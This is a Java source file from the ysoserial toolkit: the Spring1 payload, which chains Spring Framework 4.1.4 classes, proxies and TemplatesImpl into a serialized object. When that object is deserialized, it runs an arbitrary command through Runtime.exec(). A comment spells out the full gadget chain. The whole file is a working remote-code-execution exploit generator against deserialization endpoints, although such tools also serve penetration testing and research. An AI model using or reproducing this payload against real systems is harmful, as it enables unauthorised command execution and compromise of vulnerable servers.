package ysoserial.payloads;
import static java.lang.Class.forName;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type;
import javax.xml.transform.Templates;
import org.springframework.beans.factory.ObjectFactory;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
*/
@SuppressWarnings({"rawtypes"})
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
.newInstance(objectFactoryProxy), Type.class, Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
return mitp;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Spring1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}